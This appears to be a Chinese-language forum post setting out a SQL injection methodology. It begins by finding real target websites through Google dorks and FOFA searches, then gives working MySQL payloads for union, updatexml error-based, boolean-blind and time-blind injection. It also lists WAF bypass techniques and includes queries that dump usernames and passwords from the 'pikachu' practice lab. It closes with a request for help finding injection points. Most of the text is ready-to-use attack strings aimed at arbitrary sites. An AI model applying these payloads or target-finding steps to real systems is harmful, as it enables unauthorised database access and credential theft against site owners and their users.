Sql注入思路

1、搜索目标

通过谷歌语法(如 公司 inurl:.asp?id=)查找目标网站

通过fofa viewer进行查询目标

 

2、查找注入点

存在位置,参数与数据库交互的地方,可能出现在get参数,post参数,user-agentcookie等地方

 

3、测试是否存在注入点

  • 通过在参数后添加符号’,”))),查看页面是否出现数据库报错

 

  • 数值型参数

http://abc/1.php?id=1+1,查看参数是否带入数据库进行运算,如果能正常显示

http://abc/1.php?id=1 and 1=1(页面正常)和http://abc/1.php?id=1 and 1=2(页面异常)

 

  • 字符型参数

http://abc/1.php?id=1’ and 1=1(页面正常)和http://abc/1.php?id=1’ and 1=2(页面异常)

 

  • 函数报错注入

如通过updatexml()报错:

http://localhost/index.php?name=1'or updatexml(1,concat(user(),0x7e,version()),1) %23&pass=1

 

 

  • 时间注入

如通过用sleep()函数延迟页面响应时间

http://abc/1.php?id=1’and if(1=1,sleep(5),1)

 

 

绕过方式

1、替代空格

+号,%09,%0a,%0b,%0c,%0d,%20,%a0

2、大小写绕过

3、base64编码,url编码绕过

4、and用&&  or用||

5、对特殊符号进行编码,如url,hex编码,base64,十六进制编码,Unicode编码

6、单引号过滤,加上%df

7、双写绕过

8、换行符绕过(\N)

9、注释符内联注释绕过

union selecte =/*!union*/ select

 

 

4、确认注入点,进行注入(mysql为例)

Union注入

1order by测试字段数量

2select 12...测试可写字段值

3、在可写字段值上查询当前数据库名称database(),数据库版本version()

Mysql5.0以上版本可以在默认库上查询到表和字段的名称,表结构如下

Information_schema数据库

Schemata表(schema字段)

Tables表(table_schema字段,table_name字段)

Columns表(table_schema字段,table_name字段,column_name字段)

根据database()查到的数据库名称,查询对应的表和字段值

 

函数报错注入

利用函数报错获取数据库名称

1’ and Updataxml(1,concat(0x7e,database()),1)#

获取表名称

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) and '1'='1

获取列名称

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu')),1) and '1'='1

获取字段值

1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from pikachu.users)),1) and '1'='1

盲注

  • 布尔盲注

通过页面显示的对错来猜测字符串的长度和值

查数据库名称长度

' and length((select database()))=3#

查数据库第一个字符是什么(ascii码测试)

' and ascii((substr((select database()),1,1)))=112#

再通过类推,查找表名和字段名称,查询对应的数据

 

  • 时间盲注

根据页面显示的时间来判断数据库的名称的长度

vince' and if(length((select database()))>1,sleep(3),1)#

根据页面显示的时间来判断数据库的名称的字符

vince' and if(ascii((substr((select database()),1,1)))=112>1,sleep(3),1)#

 

 

 

 

 

 

 

存在问题

1、通过以上方式查找不到sql注入的漏洞,卡在了第三步,测试不到注入点,是否还有其他欠缺的方面,请大神指点一下方向